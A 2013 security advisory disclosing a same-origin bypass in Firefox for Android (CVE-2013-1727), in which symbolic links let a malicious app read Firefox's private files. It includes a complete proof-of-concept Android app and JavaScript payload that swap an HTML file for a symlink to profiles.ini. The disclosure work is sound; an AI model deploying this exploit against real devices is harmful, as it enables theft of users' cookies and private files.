Firefox for Android - Same-origin bypass through symbolic links

CVE Number: CVE-2013-1727
Vender Identifier: MFSA 2013-84
Title: Firefox for Android - Same-origin bypass through
symbolic links
Affected Software: Prior to v24 (confirmed on v14)
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Issue Status: v24 was released which fixes this vulnerability

Overview:
Firefox for Android's Same-Origin Policy for local files (file: URI) can
be bypassed by using symbolic links. It results in theft of Firefox's
private files by malicious Android apps.

Details:
As described in MDN Document (*), Firefox allows a local file to read
another file, only if the parent directory of the originating file is an
ancestor directory of the target file.

• https://developer.mozilla.org/en-US/docs/Same-origin_policy_for_file:_URIs

However, it is possible to circumvent the restriction by a trick using
symbolic link.

This issue enables malicious Android apps to steal Firefox's private
files such as Cookie file.

As an example, steps to steal Firefox's profiles.ini are described below:

1. An attacker's app creates a malicious HTML file, and makes Firefox load
   its URL with file scheme. The malicious HTML contains JavaScript code
   which, a few seconds later, tries to read the same URL with itself via
   XMLHttpRequest.

   <u>Wait a few seconds.</u>
   <script>
   function doit() {
   var xhr = new XMLHttpRequest;
   xhr.onload = function() {
   alert(xhr.responseText);
   };
   xhr.open('GET', document.URL);
   xhr.send(null);
   }
   setTimeout(doit, 8000);
   </script>";

2. Before XHR fires, the attacker's app replaces the malicious HTML with
   a symbolic link pointing to Firefox's profiles.ini file.

3. When XHR fires, Firefox follows the symlink and provides the content
   of the profiles.ini file to the malicious HTML.

Through the steps above, the attacker's app can gain the path of the
Firefox's private files such as Cookie file. The attacker's app can also
get the contents of those private files in a similar manner.

Note:
It should be noted that this issue does not matter in Firefox for normal
PC platform (such as Windows OS), in which all apps are regarded as
reasonably trustworthy. However it does matter in Android platform with
sandbox security model intended to segretate apps. In such platforms,
app developers cannot regard other apps as trustworty.

By this difference in platform security model, Android apps that are
ported from PC often suffer from unexpected vulnerabilities. Obviously
such vulnerabilities are not specific to Firefox. In reality, I
discovered such vulnerabilities in Chrome for Android last year.

Chrome for Android vulnerabilities:

1. http://seclists.org/bugtraq/2013/Jan/22
2. http://seclists.org/bugtraq/2013/Jan/23
3. http://seclists.org/bugtraq/2013/Jan/24
4. http://seclists.org/bugtraq/2013/Jan/25
5. http://seclists.org/bugtraq/2013/Jan/26

(#4 is a quite similar issue as the issue described in this advisory)

Proof of Concept:
/////////////////////////////////////////////////////////////////
// malicious android app that steals Firefox's profiles.ini file
/////////////////////////////////////////////////////////////////
package jp.mbsd.terada.attackfirefox1;

import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;

public class MainActivity extends Activity {
public final static String MY_PKG =
"jp.mbsd.terada.attackfirefox1";

  public final static String MY_TMP_DIR =
      "/data/data/" + MY_PKG + "/tmp/";

  public final static String HTML_PATH =
      MY_TMP_DIR + "A" + Math.random() + ".html";

  public final static String TARGET_PKG =
      "org.mozilla.firefox";

  public final static String TARGET_FILE_PATH =
      "/data/data/" + TARGET_PKG + "/files/mozilla/profiles.ini";

  public final static String HTML =
      "<u>Wait a few seconds.</u>" +
      "<script>" +
      "function doit() {" +
      "    var xhr = new XMLHttpRequest;" +
      "    xhr.onload = function() {" +
      "        alert(xhr.responseText);" +
      "    };" +
      "    xhr.open('GET', document.URL);" +
      "    xhr.send(null);" +
      "}" +
      "setTimeout(doit, 8000);" +
      "</script>";

  @Override
  public void onCreate(Bundle savedInstanceState) {
      super.onCreate(savedInstanceState);
      setContentView(R.layout.activity_main);
      doit();
  }

  public void doit() {
      try {
          // create a malicious HTML
          cmdexec("mkdir " + MY_TMP_DIR);
          cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
          cmdexec("chmod -R 777 " + MY_TMP_DIR);

          Thread.sleep(1000);

          // force Firefox to load the malicious HTML
          invokeFirefox("file://" + HTML_PATH);

          Thread.sleep(4000);

          // replace the HTML with a symbolic link to profiles.ini
          cmdexec("rm " + HTML_PATH);
          cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
      }
      catch (Exception e) {}
  }

  public void invokeFirefox(String url) {
      Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
      intent.setClassName(TARGET_PKG, TARGET_PKG + ".App");
      startActivity(intent);
  }

  public void cmdexec(String cmd) {
      try {
          String[] tmp = new String[] {"/system/bin/sh", "-c", cmd};
          Runtime.getRuntime().exec(tmp);
      }
      catch (Exception e) {}
  }

}

Timeline:
2012/08/14 Reported to Firefox
2013/09/17 Vender announced v24
2013/09/30 Disclosure of this advisory

Recommendation:
Upgrade to the latest version.

Reference:
http://www.mozilla.org/security/announce/2013/mfsa2013-84.html

– Takeshi Terada Mitsui Bussan Secure Directions, Inc. http://www.mbsd.jp/